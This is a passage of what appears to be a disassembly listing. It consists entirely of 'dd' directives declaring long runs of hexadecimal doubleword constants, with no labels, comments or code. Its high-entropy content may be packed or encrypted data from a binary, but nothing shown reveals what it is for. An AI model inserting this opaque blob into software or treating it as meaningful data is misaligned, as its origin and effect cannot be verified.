		dd 5D9C1FF2h, 42AEBA17h, 5AD18939h, 90B482D7h, 853500E8h
		dd 70D205C2h, 948840EBh, 296FF65Dh, 0C50D70F3h,	6EE37213h
		dd 1612F4B0h, 0F3E9F65h, 0B240E21Ah, 0F397E93Fh, 55C7DEBEh
		dd 8CFE17B4h, 65407C61h, 18D548F7h, 95094D00h, 0EAC14A71h
		dd 0E71CC09Fh, 7AAF2E5Fh, 105A24A9h, 0F18103CAh, 7A16B958h
		dd 0FE84B74Ch, 0BCA8139Dh, 4C276900h, 6570BA64h, 25A0415Ch
		dd 557062DFh, 6812F3C4h, 37AA54BCh, 6BAB2A93h, 0F4B05356h
		dd 4BE0503Dh, 3919F87Ch, 1C2D101h, 3C91E90Bh, 6AB01D2Fh
		dd 0BF77D2CAh, 90ADCADh, 830303E2h, 58D0B6D5h, 0E91CD631h
		dd 0D62F1799h, 6F90720Ah, 0BAB512CCh, 0A468DD0Fh, 0C89F9A72h
		dd 0AA68DB3Ah, 1F3660A6h, 0BD1BC060h, 377E0CDDh, 77BA1EF6h
		dd 0CD993051h, 5B5792FAh, 95D033F4h, 0C3C0331Bh, 4C956F68h
		dd 3FC20F0h, 5800A49Ch,	0E930B728h, 0B9884ACBh,	917684C0h
		dd 5F1ACAEDh, 84090DFBh, 5C13597Bh, 0C5015C04h,	5D2D4B1Dh
		dd 219D2B30h, 0F40C31D6h, 5C59B762h, 93107755h,	53F05A7Ah
		dd 6FC92F4Ah, 0C3141CD6h, 0DF1C6B08h, 3F0F1429h, 919AAB2Bh
		dd 79339300h, 46903661h, 0E9144571h, 84AFCC59h,	2513A1BFh
		dd 0DE20279Fh, 0C3C49017h, 0CE1D6693h, 0F3C04B16h, 13FED550h
		dd 14E09D21h, 599F05ACh, 1A844F87h, 0DF6BB4CBh,	3DBC57FCh
		dd 18014D16h, 66F36067h, 0E52660h, 50208918h, 2B92DB8h
		dd 22C0BC4Eh, 977785E9h, 1E9635F9h, 0BEA024EAh,	6B69F728h
		dd 0EF7C1ED4h, 487E2299h, 0F25AF3C0h, 28B10BEBh, 0AB8250C3h
		dd 295EF114h, 52CF296Fh, 13229202h, 0DF5E5456h,	3DE91311h
		dd 18E27E20h, 0D9F2D23h, 1038B87Eh, 8D501020h, 0DF5B6D8h
		dd 7FFAD501h, 0F50CCD5Ah, 8F0B9A6Ah, 0FEA6ABD5h, 0A6E7A7Ah
		dd 4B80FB49h, 0E917EB9Eh, 0C1FDE4B3h, 0D95D600Fh, 0ACDA6423h
		dd 19D2DFBh, 295BFEB7h,	9ADB183Ch, 1EA4EA29h, 0CB434515h
		dd 53149294h, 9401534Fh, 6D22611Eh, 22755812h, 29B40A3h
		dd 0D263B70Fh, 4501B883h, 589310F6h, 2C6F2119h,	0E82FC187h
		dd 0AFA56310h, 9D08C546h, 16933FC0h, 80205BB5h,	0F74F9EAh
		dd 0C226012Fh, 0C602BD51h, 87092827h, 0CE42CD94h, 1A4411Dh
		dd 7E33241h, 249C9D47h,	4467892h, 0E9D989B1h, 3C94F122h
		dd 610AA136h, 36064303h, 0B4CDF6ACh, 0B1519F72h, 0D167BF09h
		dd 27392832h, 72C61040h, 5A28AF4Dh, 0EAECFA8Dh,	2826C311h
		dd 569380C2h, 79D404EAh, 0F280165Eh, 0D98609F6h, 0B065A669h
		dd 955A00Dh, 6C4B7B32h,	90467D9Eh, 5FCDC43Eh, 4EF98EA1h
		dd 561D3C78h, 0D825CC57h, 120FE62Bh, 650D0358h,	0B8C89237h
		dd 5E489807h, 0D9AE56EEh, 84156DA8h, 8910B344h,	0C5A9A19h
		dd 71A6AF68h, 18156264h, 0D0A70C03h, 0EC208BDh,	16CA8058h
		dd 6150E267h, 0E4FE69EAh, 4C2D2F6h, 0D77423E9h,	9C523398h
		dd 0B0A29786h, 0B2DD697Ch, 7D73CE4Fh, 0E6DE823Ah, 49123B00h
		dd 0A13CEA68h, 5027C65h, 2D04E6DAh, 403534CFh, 3E127FA2h
		dd 7B6689B9h, 0FB319329h, 0BCF2C52Ah, 207FD499h, 657E9118h
		dd 5BF5B352h, 52B22FE8h, 0AD2A99E4h, 13987D64h,	177499Fh
		dd 2B488379h, 61458D24h, 7E786859h, 0AA4DA4A6h,	0F1B5E982h
		dd 3AC6E291h, 3268E602h, 61ED7575h, 789B6806h, 96D925F3h
		dd 5700E06Eh, 6DFE6852h, 5AE93AA7h, 497A1DDDh, 2D295987h
		dd 52D9438Bh, 829BE76Bh, 0C6EE953h, 22C6A53h, 9FC2F59Fh
		dd 41E5D13Fh, 0BF04E75Fh, 443C4804h, 0E90838BBh, 9C4A8409h
		dd 0EB28D71Eh, 0DAC62D08h, 3FA66EB9h, 48C1C08h,	0EA97D7F7h
		dd 7AB5B5C7h, 0D97B3DF1h, 2D23E65h, 46F6C50h, 1C3866C7h
		dd 9204AB10h, 2815697Bh, 1F6EED50h, 8C71DF29h, 0D86FEFBDh
		dd 35046CC0h, 24FDF3BCh, 28A089FBh, 5A120B04h, 53E22E8Fh
		dd 0B55444F7h, 12554762h, 68A540C3h, 0E0623A9Fh, 0EB257E5Ch
		dd 4B1212FEh, 0ED4B7DA9h, 0D5E6C1D5h, 700122h, 0E020E8F6h
		dd 0F8C59D08h, 0A7560E96h, 0C4B3E375h, 2296680Bh, 69F02966h
		dd 9954B52Bh, 0DF5B2A28h, 88C5F947h, 0AE12842Bh, 0F955EA12h
		dd 3B5C3724h, 0C154A195h, 8F86273Dh, 0C7F6540h,	0D8307CE9h
		dd 0D5895523h, 8D9AE8FCh, 0CE686609h, 0E288DC6Eh, 0C90894A1h
		dd 0F817DA01h, 23D8B85Ah, 847A5A35h, 3CA019Fh, 7E7043E9h
		dd 63000F35h, 5ACA280Bh, 0CFF89D01h, 6F5F0881h,	5C896598h
		dd 0ADEE7A9h, 757DDFh, 7A366F05h, 664E5E10h, 658E62A0h
		dd 82D621CCh, 0BA7F3CF1h, 27922372h, 0C20F2C12h, 64D127AAh
		dd 4384E30Ch, 445D64EBh, 0BDD1A0C5h, 63481B09h,	0ED13FD6Fh
		dd 8C9450F8h, 420977B8h, 7E43E61Ch, 6408A066h, 0AD020E5Fh
		dd 5EA39430h, 0A1086C75h, 26562F71h, 98803412h,	7987D6F7h
		dd 6F922AF1h, 0BB660EBCh, 0DD9F70FDh, 0C3FECD3h, 0F30A2E0Eh
		dd 5650797Eh, 6C0DEDBh,	0E95B5EF1h, 68095D85h, 4885B992h
		dd 0E4DF270Dh, 0F5C171Dh, 616504BFh, 840501A8h,	57E26330h
		dd 29874606h, 1F63DBBFh, 6929E60Bh, 6B9A2980h, 52981CEEh
		dd 2347194Eh, 3B3081D7h, 2C8BA985h, 17AFFD89h, 0A3CD2177h
		dd 73657E1Bh, 562700FDh
		dd 266F7CF6h, 0F012588Bh, 0B7533ED1h, 0C3EF8001h, 0EC5BF828h
		dd 0D625E9C0h, 9FD9DB97h, 0C5CC0BF9h, 0BDA95EB2h, 83D579E2h
		dd 3BFEE90Ch, 0C2EACB5h, 259AD76h, 0A196DE4Fh, 2E108EA9h
		dd 1CD335FEh, 0B999980Dh, 18CF036Fh, 70D9CFF2h,	5A322DDh
		dd 1E68581Ah, 9CD9A83h,	0DA292A24h, 2084F08h, 0F0E685Bh
		dd 0CA8224F5h, 73EB2D00h, 4FEA170Dh, 0E8256728h, 0FAD8020h
		dd 36105ABAh, 4821F872h, 908105B8h, 0CE8C9B0h, 0BDF93125h
		dd 52ACF3A8h, 0E2E9520Bh, 5079FE10h, 1BB7AD14h,	732A2C8Eh
		dd 2097BF79h, 0B062EF56h, 0F53ECA31h, 1EFDCC12h, 1DE927D2h
		dd 9191EE70h, 0A59665AFh, 5F59215Ch, 4DE99E60h,	68091D63h
		dd 0C6B05049h, 0FBACDA97h, 0D1442CBEh, 0A9BD5F90h, 33FE581Bh
		dd 0B780A012h, 54B11E23h, 0C060C1C4h, 4B440BA0h, 0C4B5BCA7h
		dd 8003FD70h, 0D382B7F2h, 61B192F5h, 0E6425640h, 509F4C5Eh
		dd 0BCE8A155h, 9A853FC3h, 0E84AEF44h, 0C9E860Dh, 0F6FA77EDh
		dd 0EF0ED713h, 5166AB00h, 9D2874B5h, 0D0E848D0h, 61C8C1B5h
		dd 0AE2AC2Ah, 8BBAD2E9h, 78279082h, 2A07C64h, 0D06742A7h
		dd 0EB50A57Dh, 0DCBCD9AEh, 1B4CE96Eh, 744E746Eh, 0E0A301C4h
		dd 2768D1D8h, 0F469A9B5h, 85FCA51Ah, 477F8F5Ah,	5ADBAB27h
		dd 0A4F304EEh, 0AEA55939h, 8D096484h, 5D36E298h, 95506307h
		dd 1420ABF9h, 4E277F36h, 0E1C60011h, 91A7DA8h, 32A2E84Fh
		dd 62783580h, 46C4636Fh, 0DD88C37Eh, 50EAB7E4h,	0AC9316A2h
		dd 50F04707h, 0E2668h, 35580FE0h, 2CA6471h, 0CB925798h
		dd 0C85ABEF8h, 51A2F4F8h, 26095540h, 837F8F3Eh,	84568BCFh
		dd 0C4D8176Ah, 1633ED15h, 86C9FC3Ch, 0C6A18F9h,	0E142ADB1h
		dd 37640514h, 347F01D9h, 0DDE955D2h, 0E1D07F86h, 1B20D266h
		dd 295D09F3h, 0CA7C5FFBh, 2F545708h, 3005097Ch,	0A8266F9h
		dd 6179CA13h, 1B7D5024h, 12F51C84h, 0A95F7F0Dh,	70F7D17Eh
		dd 0F45E0278h, 0CE08EE35h, 9FF3113h, 0BEF8A89Fh, 66D682DFh
		dd 0C5284B81h, 0B854C83Fh, 0FEC2C741h, 8716A7E9h, 0EAF62220h
		dd 0A5362F0h, 2A79D329h, 5DDB6858h, 0FB81B02Bh,	3F7B7D0Dh
		dd 48E06CF0h, 848403BFh, 814B0010h, 302A47E3h, 3B0C2EBDh
		dd 4D4ED055h, 0F38062D1h, 0D4CA133Ah, 25CDBB90h, 5E448C09h
		dd 78EE0888h, 0C2262637h, 0F35E5270h, 0A7013DCDh, 0F905D6E2h
		dd 49F54A74h, 55AB0920h, 0FFDB83DEh, 4286568Bh,	32F75F76h
		dd 55A2E20Fh, 60A06167h, 2C15E926h, 3C77FF84h, 2DFAE5C3h
		dd 0C8DCD965h, 0F2B7193Dh, 0E088C315h, 94319B3Bh, 0F32EC61h
		dd 0B8FC18Fh, 0D8D3D4C4h, 22F73594h, 0CD1177Eh,	29CDCCD0h
		dd 0F67ABD95h, 68BCF0A0h, 3A5C5F5Ch, 65DDA6C5h,	0F2F2302Ah
		dd 0F924D013h, 0C24B1D1Eh, 1C607B4h, 0C2635CB9h, 4849E829h
		dd 526600DFh, 10B40D50h, 2CEAFDB6h, 4AAD5EDAh, 4202C184h
		dd 0DD2D9468h, 0E98BD065h, 0D70E62AAh, 7D9A306Ch, 99552027h
		dd 0B3010C81h, 0D8C63457h, 5B16A3D3h, 0EC503B4h, 1E40BD4h
		dd 0ED0AF52Fh, 5E9B2008h, 721CF7ECh, 0F044195Fh, 0B20F5262h
		dd 5AD128E3h, 0CFC14AEAh, 399D3AD3h, 6220B921h,	2F9141B0h
		dd 67F5059Dh, 0F73E402Fh, 2BCB241Dh, 5D5F7A98h,	5E9BF821h
		dd 0EA855803h, 0FDFE4182h, 242E21Ch, 0C7DAFF19h, 3B912132h
		dd 404F8492h, 945E1707h, 0D4B40BD6h, 107FBAD7h,	9954552Bh
		dd 0BE5660F2h, 8A2E633Dh, 0C702317Bh, 8484759Ch, 68F85EA7h
		dd 5ED2A9B4h, 0B568A703h, 30AB1069h, 0C9077381h, 0F8619EFh
		dd 8EAE809Fh, 0BE891EACh, 8D23096Ch, 8FF082E4h,	59B78B92h
		dd 0D9C04956h, 66BBE85h, 42B176F7h, 0CFF3B7F1h,	26D60A08h
		dd 0D1180917h, 4EBEFBDBh, 878E1261h, 83CE5429h,	0E96691D7h
		dd 6A2C6536h, 947FA5F1h, 51AE2C70h, 5A99B904h, 92C248B7h
		dd 995304BBh, 5B51DC21h, 1B7F295h, 7F882A59h, 510DAE9h
		dd 0AF8FE80Fh, 0D0896426h, 0B14EC2h, 840FC90Bh,	0E3D2CAEFh
		dd 49E30E20h, 0D15FC35Dh, 347F9DC5h, 5041F3FDh,	2456D820h
		dd 25B14EE8h, 945F6C0Bh, 7A062D4Ch, 0C104F251h,	0AC008EFh
		dd 3CF5F2A4h, 35CF0145h, 0F890BB6Ah, 4F031CDDh,	4028F816h
		dd 0C33E907h, 0BAE651EFh, 5F6DC91Dh, 18792C6Ah,	36BE650Ch
		dd 0EEA57256h, 0B5407FADh, 0BBE68180h, 16B80538h, 7FFAF606h
		dd 0B0C2797h, 512C3A4Fh, 12834D0Ah, 5770EEDFh, 5B1F39C2h
		dd 8189F86Ah, 0A87CE70Ah, 3598DE20h, 0BCDC487Ah, 690841F2h
		dd 69D28958h, 0A9514A4Fh, 813BEF89h, 7EFBB626h,	32096A25h
		dd 0EEB95585h, 42642A31h, 0A19683FCh, 608C355Ch, 0D12925Ch
		dd 74C04426h, 2411B376h, 1029DF31h, 4E661CC3h, 0ECABF8A7h
		dd 6177E881h, 0F6CE0A0Fh, 47E46F2Eh, 3FB8FE50h,	0D1E51C8h
		dd 86571F3Ch, 2E10B7BFh, 0F102CF26h, 2D73BD08h,	33105347h
		dd 320754Ch, 275C5A4Ch,	109FE7C3h, 15919202h, 0E3C1EAB4h
		dd 0F86658E1h, 4FA5E909h, 5249D9F1h, 63F82003h,	0EF20EB98h
		dd 2D5490C4h, 44C92EB7h, 24293A0Bh, 0DD88D400h,	0EAEEE652h
		dd 1871374h, 2A10215Ah,	65560766h, 0D5F60281h, 2CC1F580h
		dd 3B0BA261h, 38F27D12h, 685652B0h, 4405394Bh, 10F047E9h
		dd 22CDB75Ah, 74C7BD0Bh, 0C4E8E753h, 7A9EF17Ch,	15FD6E6h
		dd 0BB8B415h, 2F3B21AFh, 0E2D3DA44h, 27AD6607h,	9A159E57h
		dd 0A3B3530Fh, 53B87B0Eh, 91206C3h, 77E13710h, 68C05B2Ch
		dd 74341128h, 0B95EE92h, 0AEA3F70Dh, 400004EBh,	70356A48h
		dd 0E4E9D889h, 6699956Bh, 0BBA655BDh, 0DB12D11Eh, 5A04AB80h
		dd 22DA982Ch, 76307910h, 0DFBBA7E7h, 1A043D03h,	0BF06A096h
		dd 0AC20CC39h, 0D44016BCh, 2E59AD46h, 6908A559h, 0AC583861h
		dd 0E6FCD716h, 5E5E7A09h, 8D4F1783h, 82ACA80h, 0A1405126h
		dd 2F55A42Ah, 0A13A8441h, 0EA2D6E25h, 409E1880h, 0FD29189Dh
		dd 809C9A2h, 9437C085h,	0DA2EAECFh, 0B39F4F71h,	90662742h
		dd 819A947Eh, 0B4EC2046h, 2B83CC0Bh, 34ED5829h,	0A2ABE3ACh
		dd 59551606h, 5A782DE2h, 0BEFB00DCh, 25980A9Fh,	83584E64h
		dd 0E8121314h, 0C63ABC55h, 28437852h, 2CB05E1h,	140A77C5h
		dd 0C040D909h, 43829588h, 1EC0CC2Dh, 0B864A2F1h, 0BDDB9A38h
		dd 8709257Bh, 0BB9B756Eh, 67F9BC31h, 293FEB28h,	0CB042A69h
		dd 0A2AE5854h, 5AE9C436h, 0E95E01A0h, 17EB1160h, 0D04DB007h
		dd 0F84E95Ah, 0B562449Fh, 75B1F8E0h, 81DAF19Dh,	11368C68h
		dd 412C6B5Ah, 516540D2h, 50F1881Ch, 0E347CCDDh,	869A5958h
		dd 8A546B2Fh, 42A40EBAh, 1C73AE4Dh, 0E923F566h,	0C1211832h
		dd 4F81A867h, 441DB290h, 47DE786Fh, 0CD1DBEC3h,	0F377F339h
		dd 0CEAB98AFh, 6C5F6231h, 0E50F5CB6h, 86F0FAEAh, 0E0D75A89h
		dd 3DA45F05h, 4CFAE913h, 0E553E74Eh, 0E7A786E5h, 6676FE25h
		dd 5CD9108h, 0AA66E068h, 0E50D5D8Dh, 5A02B2F5h,	0CF1C5257h
		dd 95390118h, 0E81744C3h, 564E7E9Fh, 0F23FF3A1h, 0E68F8A0Fh
		dd 0EBD0EC8Bh, 0EB8B924h, 0A7FCDD3Bh, 60C34431h, 0C7FED78Fh
		dd 5895F780h, 0F65B16F4h, 0E1D3B4D1h, 0CA50FA98h, 0E93CD5DFh
		dd 93084DDFh, 0EC5C32A1h, 0C34A9DE9h, 774F81DDh, 0F53F311Ch
		dd 82080497h, 0F24A2489h, 0E8921877h, 525A80C5h, 0AF70B63Ch
		dd 0D7EFC231h, 0C8BECDB8h, 25336817h, 91C51BB8h, 7A8CAFEAh
		dd 0AB48FBC2h, 27830995h, 247D2172h, 0A2AF063Ah, 4198D2A5h
		dd 0BD5B4022h, 0C04B4804h
		dd 5FEF051Dh, 0D79ACA5Ah, 8C52CB8Ah, 0E8CB183h,	0A9FCC550h
		dd 0C3868CFFh, 0BB259D9Ch, 0E920C4BEh, 41C4DBABh, 3081B0B4h
		dd 653B9161h, 0C799EB96h, 0F021D455h, 0B37F4CF7h, 0A12C109Fh
		dd 0C5685C0Fh, 6995DF38h, 172917D2h, 6263CA3Eh,	0D4F9D5CAh
		dd 7561EF7Eh, 786B891Ch, 4BE4136Dh, 171032A3h, 0F28004FEh
		dd 0B5878878h, 5D5BFD32h, 2BE99A81h, 79E66F8Ah,	2DDBC4Bh
		dd 0DC1D6B2Dh, 0D688F50Ch, 43482F07h, 744B41E9h, 614F7AF7h
		dd 452D523h, 94F6D8EEh,	0D7CC724Fh, 0E60B5BABh,	0F57A1647h
		dd 0E2A43DECh, 4AC2C8F4h, 6022541h, 0B440C138h,	46D64ADBh
		dd 0E4F733ECh, 3CCBE577h, 0A3680B61h, 8E6F5147h, 20C946D7h
		dd 9B9FA84h, 832DDC58h,	3308717Ch, 0DA30EACCh, 0ACC45FE9h
		dd 0BF7B03Ch, 31273CD8h, 33BDA401h, 0F5B8FFD2h,	8F70555Eh
		dd 8414D99Dh, 0EF025468h, 7C42122Dh, 0FC94DF6Fh, 0CED4C725h
		dd 0DB23B53Ah, 0BD2F5A36h, 3E087129h, 0AD330A2Eh, 0F6EBCB74h
		dd 7D7B00F1h, 0E281137Ah, 3809751Fh, 0F9F2033Bh, 40335856h
		dd 4F139C18h, 21AB849h,	0B77DE4EAh, 0E9EA6084h,	0F0BBE3Ch
		dd 5149C380h, 0C3C66A84h, 7B41B194h, 0BF883BE1h, 99555FDDh
		dd 10B728A7h, 881E5984h, 1D92E6E1h, 4B035FC0h, 5F560DEFh
		dd 81521050h, 0E9B53F2Dh, 5CE46D60h, 0FED7F4CBh, 4FB5E420h
		dd 894E4158h, 0E1CEE97Bh, 88F4666Ch, 4F43F2DEh,	0BF488881h
		dd 561CA59Dh, 0FD9CCDC2h, 0E59B413Bh, 13A568F0h, 277E97CCh
		dd 9381A059h, 0E8088298h, 0E8258EF5h, 0F2396147h, 2476F08Eh
		dd 770FCAA7h, 0F42F47ECh, 58BFDED4h, 8CD24960h,	4FCC8AAFh
		dd 247BF9E5h, 0CA89A4E2h, 0CE71A163h, 4219D98Eh, 27CCAA40h
		dd 4F65B16h, 52541C96h,	807C8D01h, 0B16B6FCCh, 4B794AB6h
		dd 966AD2E4h, 2DC52F00h, 0F5555C42h, 0D698E8E1h, 5B05925Ah
		dd 2129764Fh, 87562CEEh, 0FD6EC29Fh, 0CC9F8B44h, 930098B9h
		dd 38D2689h, 0A7B6278h,	72C5F0B7h, 514B3BF9h, 0F91D199h
		dd 0D1C25B59h, 58CAA41Ah, 695761AEh, 85AB0475h,	342A007Bh
		dd 291D0D48h, 81439A3Ah, 623735DFh, 177454E9h, 0AC754E68h
		dd 0FD68DF02h, 487F08A8h, 0CAB70AC1h, 1270D7F6h, 51884042h
		dd 0F2968651h, 0E241AE62h, 761A288Ah, 843489BFh, 8CFF077Fh
		dd 5759A69Fh, 5E3A840Ah, 0F1C562BEh, 9E2F4F76h,	0D9E925B8h
		dd 95735E2h, 0BD1C828Dh, 56F10B85h, 0A17F6E62h,	16B66839h
		dd 0E90CF463h, 9ED9E33h, 2803518Ah, 5302D8Eh, 0F60E5AFAh
		dd 0C0381E2Eh, 442F36E3h, 2B4B5C12h, 5356051Dh,	0ED0FEB2Ah
		dd 9F19ECA9h, 57C23368h, 4D5BDC8Dh, 9B48B2CBh, 295BFD20h
		dd 3C8BE991h, 0A220AC2Eh, 0B964D52Dh, 73B87427h, 44B6C8F7h
		dd 8920A0B0h, 90EBE79Dh, 5D0496EFh, 0D418AF16h,	0DB2D0C4Ah
		dd 8706DC41h, 0D2305201h, 0D5EF187h, 450B62A8h,	58F0AABAh
		dd 0C989DEB3h, 105FA00Bh, 0BCEA12B4h, 88F44B01h, 694E3A33h
		dd 6503F417h, 0DB258CCEh, 56A775EFh, 5D9DD7F7h,	0CBBAF7CBh
		dd 0D75804FAh, 0CFACB4CCh, 7484558Bh, 4A12F6DFh, 984006E1h
		dd 0E859B1h, 22292D45h,	4EE94F30h, 312400BDh, 0BF522077h
		dd 301B745h, 5A25C219h,	258DE67Fh, 89E4F6E1h, 474446DDh
		dd 6E3BE07h, 0D2D56679h, 0E1580392h, 100C245h, 819759CDh
		dd 2C783EFh, 16D9F37Fh,	5FB4DC48h, 0CE2C1258h, 518EBB8h
		dd 0F71D3C2h, 0DE35488Ah, 0E942C3E0h, 7CB288C8h, 62DEA32h
		dd 1ADD7C4Eh, 0EC59DD54h, 61B06C8Ch, 112309C7h,	0B6D64777h
		dd 5173FD20h, 7DE4DFCBh, 96D12B2Bh, 580A0149h, 612A525Dh
		dd 307AFD2Dh, 0DB12F7E8h, 0A3A0C2E9h, 0C0833192h, 80EAC108h
		dd 0B23BFEEh, 27E940FCh, 3456D113h, 298C85C2h, 923D2EF9h
		dd 99EACA41h, 0D1217A31h, 0E074565Ah, 7EDBEC59h, 0F7E6494Dh
		dd 201EB90Fh, 2ED75C49h, 7F8F613Dh, 0C9D91B54h,	24CFF930h
		dd 1F704941h, 0BE0E5E6Dh, 0D0D2F181h, 2031A189h, 0BB0F5376h
		dd 0B21D8687h, 0F5A87446h, 240B7063h, 0CF971AC1h, 603E906h
		dd 4DF460B7h, 5A93059h,	0F3BFDF5Ah, 70BC495Fh, 90D6809h
		dd 0D4307066h, 369A5BEFh, 14476403h, 0F99EBE3h,	9D8AB4E8h
		dd 6810DDCCh, 0B44C7195h, 3051C12Dh, 6BF2F6C9h,	58E41A74h
		dd 4D5A21FEh, 0B14E037Ch, 0F76EEAA3h, 4C6C5029h, 9051BB40h
		dd 689940FDh, 7A17CB7Ch, 0D50F5A26h, 41DC249Fh,	3F6287AFh
		dd 0C320E922h, 70AF3C76h, 0E5EB7071h, 414E109Eh, 957778EEh
		dd 0B2816046h, 80E4B0Fh, 3FE98231h, 91D6454h, 205B6088h
		dd 0C4608F77h, 0C5A392ECh, 8069D299h, 0FE6FB313h, 3E5066C3h
		dd 0CC5E0A68h, 0C05EB6F2h, 9AEA9798h, 80D995AEh, 1E4110EBh
		dd 31FCBBB2h, 244CC3Fh,	2FAF785Ah, 46A54E6Fh, 0C4B250E0h
		dd 0FA57DE05h, 0C525BA75h, 21AC86h, 0F65AF420h,	30EC80DCh
		dd 0C0E70828h, 854BD7E9h, 6F95FA4Ch, 4043B64Bh,	5CDC97BEh
		dd 1456095h, 7828B0EAh,	0E06B4AD1h, 6740FC96h, 5E00FC0h
		dd 77490A34h, 3FF4B02Bh, 7EC5425Ah, 5AE9C29Ch, 0CDB15F68h
		dd 0FED9F607h, 832180C1h, 0E87CCC88h, 0EE8FC4DBh, 76E997C2h
		dd 31094FF6h, 0B6945DD0h, 0A69DE595h, 6C5088EEh, 5C5F660Bh
		dd 0C4B7099Fh, 142E6352h, 0EE23E85h, 7DC40F22h,	4ACDE287h
		dd 2B8B8306h, 5CA8241Fh, 0DD095222h, 502E396Ch,	21CFF77Ah
		dd 9CF4BABh, 84B507Fh, 0C32D5B7Dh, 4C6FE36h, 39EF803Dh
		dd 1E02B2C0h, 9225AFF7h, 0DD4154AAh, 6BE0D3B1h,	0E43088CDh
		dd 40024BDCh, 90435C4Ch, 0F37D09FDh, 588E2A30h,	1F52ADBBh
		dd 14811DC1h, 87906AFh,	1A3B40E6h, 4A70E406h, 77D94CEAh
		dd 8017F006h, 141D3446h, 0C2A5CA67h, 1DC988D0h,	5DE9973Ch
		dd 0DA536DFEh, 0D697E938h, 76BEF0C1h, 4D1C6880h, 7C848371h
		dd 555F0753h, 9EB4055Fh, 3BF65B4h, 78C50958h, 7BF2E7D1h
		dd 0DD25EC7Ch, 0A1293724h, 0CB255552h, 0CB4A7E1Dh, 83812B25h
		dd 10F114EEh, 0CC540C60h, 0D00C07AEh, 377A0218h, 0E0E106CEh
		dd 90E4B2C8h, 0B1C1D746h, 78AAE1C8h, 0B5510BD3h, 0D4A50508h
		dd 0AABC74AFh, 1EADB765h, 0DC64A245h, 23223168h, 0FBD0A9h
		dd 28CA0B05h, 0BF59C82h, 4DD618D3h, 849A857h, 8CA5816h
		dd 8268E909h, 7D4EF268h, 0F756700Fh, 0BD09A5DEh, 0BCC0E7F4h
		dd 95EC0B86h, 0F92D6446h, 885A51D9h, 58055D14h,	0DEBE580h
		dd 0E43F0607h, 2C2FC6C5h, 0A4D0638Ch, 680B70B6h, 0A374183Bh
		dd 0E7E99960h, 55F6AA65h, 0D4ADE771h, 0B08A92AAh, 0D04BCE12h
		dd 0F4D6C5F7h, 504093DCh, 27F07788h, 0DC54499Dh, 417E4172h
		dd 0C17E0733h, 2F7F0C6Ch, 55102F17h, 4E8C4A07h,	2E72CC1h
		dd 0AE470342h, 68A3392Dh, 63466CEAh, 4D6B55A0h,	0AE3ABB3Ch
		dd 0D302B4FBh, 596302E9h, 0C6DA8994h, 5896B779h, 0AD6F21BBh
		dd 0D5F72A41h, 10016614h, 1E9F9D22h, 77462074h,	28E5BDA1h
		dd 21BD0056h, 4D296F4Ah, 0F63AF7D1h, 79820BDCh,	3E2F04F0h
		dd 256824F0h, 0D3981A7Fh, 87BEBF3Ah, 4BF7974Ch,	72B8BDE1h
		dd 76408C41h, 3E9D112Eh, 0B0344569h, 5688FAFBh,	0B4BE4F56h
		dd 0AF9F2DA7h, 10DBB45Ch, 91DEB98h, 6DA9C9EFh, 0E64FCC7Eh
		dd 7F4DDCB1h, 948849CBh, 38EBED4Ah, 6F9B1207h, 2392DB03h
		dd 4C801791h, 5CBDD0EFh, 7D01424Dh, 730EB81h, 77317A9Fh
		dd 1204817Bh, 7B976109h, 0A7970DC1h, 81CD6D80h,	0C17E61EDh
		dd 27681E38h, 0D64E654h
		dd 64537AD8h, 5A503442h, 8AF245B7h, 3458F92h, 6E6349FBh
		dd 31987E00h, 0BA5203C6h, 937717FCh, 8407FF6Dh,	3ECCB5E9h
		dd 0D4F42C80h, 119F16A3h, 68029320h, 2B6C72DDh,	4A0E4A76h
		dd 0E96A611Bh, 33796B87h, 0ABA2EA2Dh, 5902953Eh, 48F54433h
		dd 0D2E7B0DCh, 445475C7h, 6C80598Eh, 0F2B6062Fh, 0EBC3F0E3h
		dd 0BE0FBB07h, 0E52071C8h, 465F852Dh, 58ED448Eh, 0E5D4054Bh
		dd 6B9B3588h, 0D4E81D87h, 9591FC72h, 68C80F81h,	313E2043h
		dd 7401CD9h, 0DD27B8D2h, 0F325779Ch, 57C1B5Eh, 0B65290BCh
		dd 1E74FC93h, 0B200C328h, 80DAF636h, 0E9E00BC2h, 345C490Bh
		dd 0E0295047h, 0B7462CAh, 0EB097836h, 0F0A89746h, 4946518h
		dd 4D54A86Ch, 0C986F58h, 54C1D61h, 8C407CBAh, 28BF06B2h
		dd 4E5A66D3h, 0E93AD897h, 0EDBC292Ah, 0C76570DDh, 0AB2F982h
		dd 6B99DEFCh, 4821DCD2h, 0B8508060h, 1F06324Bh,	66E4C0B5h
		dd 0B428055Dh, 0FF0169E9h, 473F1861h, 9B575002h, 8258B268h
		dd 96933Ah, 0D5C5AEB9h,	0BEB7D48h, 6F53C1h, 7507F69Ch
		dd 0BD505A31h, 0BA2F1671h, 964272C9h, 0ADC67FE0h, 67CF43Eh
		dd 0F0F58176h, 0E9014B0Dh, 0A65D2441h, 97D1CE2h, 1EA38583h
		dd 3DF31F2h, 1F330F3h, 32D0EB1Bh, 0DC5A5B3Dh, 35181ECBh
		dd 0BB0C4966h, 2C933055h, 0A7515D26h, 38180D60h, 9045EF4Bh
		dd 53D61886h, 54F30C06h, 0AB5A05F0h, 1EB41DC5h,	2C5E4039h
		dd 685C66ECh, 2C915B6Fh, 0A4EDF4B5h, 17BAD674h,	892955B7h
		dd 4D04D867h, 5CC13F3Bh, 0ACC2033Bh, 963CC41h, 6C80E922h
		dd 767E4572h, 1C2D5CFh,	4A47437Bh, 5F840E81h, 20533F7Eh
		dd 9348F8C3h, 0D028C443h, 74682B80h, 6308B64Fh,	5150BC9Ch
		dd 992731E0h, 1121D409h, 0BDA04F29h, 3621135Ah,	0A05FE122h
		dd 0B809806h, 3547768h,	0E14057C8h, 0E5C11366h,	1A0EF807h
		dd 82134F2Ch, 0BA08279h, 8A059B02h, 0E726777h, 0FBA25A5Fh
		dd 0FAFC3C8Bh, 0A9CF4670h, 0A343173h, 203E4112h, 955F4C9Bh
		dd 94D7C2ACh, 161FFA7h,	5D03A9D1h, 655F56B1h, 0EA212A94h
		dd 54AC8h, 9E7AEE6Dh, 7209BB4Ch, 0D880D99Ah, 14B904A4h
		dd 0F1D29D12h, 0EF4430DBh, 71536B06h, 20F8E1C1h, 51F4A4A9h
		dd 40275678h, 59AD3888h, 78CF2F68h, 0E91402ECh,	106BFFE2h
		dd 5026A59h, 5E4B2A51h,	35DAC0DDh, 66B525A6h, 0DE94DA78h
		dd 7CC6D55Ah, 7129FA80h, 0FABDE470h, 5F0881A0h,	5010A672h
